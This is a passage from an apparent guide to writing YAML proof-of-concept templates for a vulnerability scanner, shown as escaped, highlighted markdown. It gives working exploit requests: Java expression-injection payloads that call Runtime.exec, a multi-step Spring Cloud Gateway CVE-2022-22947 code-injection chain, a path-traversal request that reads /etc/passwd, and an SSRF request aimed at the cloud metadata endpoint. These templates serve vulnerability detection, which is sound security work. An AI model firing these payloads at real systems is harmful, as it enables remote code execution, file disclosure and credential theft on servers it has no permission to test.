&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; {&amp;#34;expression&amp;#34;: &amp;#34;#{new java.lang.Runtime().exec(\&amp;#34;expr {{rand1}} + {{rand2}}\&amp;#34;)}&amp;#34;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.body.bcontains(bytes(string(rand1 + rand2)))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 5. RCE — Reflected Output
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-rce&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/exec?cmd=id&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; &amp;#34;((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)&amp;#34;.bmatches(response.body)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RCE via response header injection (e.g. CVE-2022-26134 style):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.status == 302 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; &amp;#34;((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)&amp;#34;.bmatches(response.raw_header)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 6. RCE — Multi-Step with Cleanup (Spring Cloud Gateway style)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-spring-cve-2022-22947&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;router&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomLowercase(8)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/actuator/gateway/routes/{{router}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; {&amp;#34;id&amp;#34;:&amp;#34;{{router}}&amp;#34;,&amp;#34;filters&amp;#34;:[{&amp;#34;name&amp;#34;:&amp;#34;AddResponseHeader&amp;#34;,&amp;#34;args&amp;#34;:{&amp;#34;name&amp;#34;:&amp;#34;Result&amp;#34;,&amp;#34;value&amp;#34;:&amp;#34;#{T(java.lang.Runtime).getRuntime().exec(new String[]{\&amp;#34;expr\&amp;#34;,\&amp;#34;{{rand1}}\&amp;#34;,\&amp;#34;+\&amp;#34;,\&amp;#34;{{rand2}}\&amp;#34;})}&amp;#34;}}],&amp;#34;uri&amp;#34;:&amp;#34;http://example.com&amp;#34;,&amp;#34;order&amp;#34;:0}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 201&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/actuator/gateway/refresh&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/actuator/gateway/routes/{{router}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(bytes(string(rand1 + rand2)))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;DELETE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/actuator/gateway/routes/{{router}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/actuator/gateway/refresh&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;jweny&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Spring Cloud Gateway Code Injection&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-22947&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 7. LFI / Path Traversal
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-lfi&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/download?file=../../../../etc/passwd&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.status == 200 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;root:x:0:0&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 8. SSRF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-ssrf&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/fetch&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;#34;url&amp;#34;:&amp;#34;http://169.254.169.254/latest/meta-data/&amp;#34;}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.status == 200 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;ami-id&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
